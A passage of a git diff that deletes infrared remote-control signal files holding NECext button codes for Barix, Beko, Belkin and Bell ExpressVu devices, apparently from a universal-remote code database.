-type: parsed -protocol: NECext -address: 12 00 00 00 -command: 10 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 14 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 16 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 18 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 19 00 00 00 -# -name: ADDRESS -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 20 00 00 00 -# -name: CONTRAST_+ -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 28 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 29 00 00 00 -# -name: BRIGHTNESS_+ -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 2A 00 00 00 -# -name: BRIGHTNESS_- -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 2B 00 00 00 -# -name: COLOR_+ -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 2C 00 00 00 -# -name: COLOR_- -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 2D 00 00 00 -# -name: TINT_+ -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 2E 00 00 00 -# -name: TINT_- -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 2F 00 00 00 -# -name: SHARPNESS_+ -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 36 00 00 00 -# -name: SHARPNESS_- -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir deleted file mode 100644 index 45595bb22..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLIST_+ -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 00 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 01 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 01 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 02 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 03 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 04 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 05 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 06 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 07 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 08 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 09 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0A 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0C 00 00 00 -# -name: PLIST_- -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 0D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 10 00 00 00 -# -name: SONG_+ -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 12 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 13 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 15 00 00 00 -# -name: SONG_- -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 16 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1B 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1C 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 7F 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir deleted file mode 100644 index e6c96f63b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Stop -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: Doub -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 07 00 00 00 -# -name: Mix -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: Rev -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0E 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: Pr- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: Pr+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: Power -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 20 00 00 00 -# -name: PP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 23 00 00 00 -# -name: Vol+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 24 00 00 00 -# -name: Vol- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 25 00 00 00 -# -name: White -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 26 00 00 00 -# -name: Sleep -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 29 00 00 00 -# -name: Nul_SP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2B 00 00 00 -# -name: Red -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2C 00 00 00 -# -name: Green -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2E 00 00 00 -# -name: Blue -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2F 00 00 00 -# -name: TV/TX -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 31 00 00 00 -# -name: Yellow -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 33 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir deleted file mode 100644 index d094d2363..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MIX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: DOUBLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: REVEAL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: UPDATE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: X_KEY_1_X_CHANNELS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: PR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: PR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: VOL_LOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: AV/TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir deleted file mode 100644 index c0f377deb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 41 00 00 00 -# -name: key_2 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 41 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 43 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 44 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 45 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 46 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 47 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 48 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 49 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 49 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 4C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 4D 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 4D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 60 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 61 00 00 00 -# -name: KEY_DIRECT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 62 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 70 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 71 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir deleted file mode 100644 index 3f1002a38..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: VEIW_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: VIEW_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: AROW_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: STAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: FORMAT_-_* -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: # -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: SEARCH_-_# -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir deleted file mode 100644 index cfac7e466..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: I_TV -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: SKIP_BACK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: SKIP_FWD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 37 00 00 00 -# -name: PVR -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 39 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: POSITION -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3B 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir deleted file mode 100644 index 9cfbac2cd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 29 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir deleted file mode 100644 index 493311646..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir deleted file mode 100644 index 5a5117c7c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 33 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: VIEW_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir deleted file mode 100644 index 0b1c49fc6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: PAGE+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 -# -name: SKIP_B -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: SKIP_F -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: PVR -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 39 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir deleted file mode 100644 index 2d1bb7065..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 19 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/0,0.ir deleted file mode 100644 index e3f79f113..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bell/Satellite/0,0.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: SEL. -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: CANCL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: MENU_RT. -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: CURS_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: RECAL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 00 00 00 00 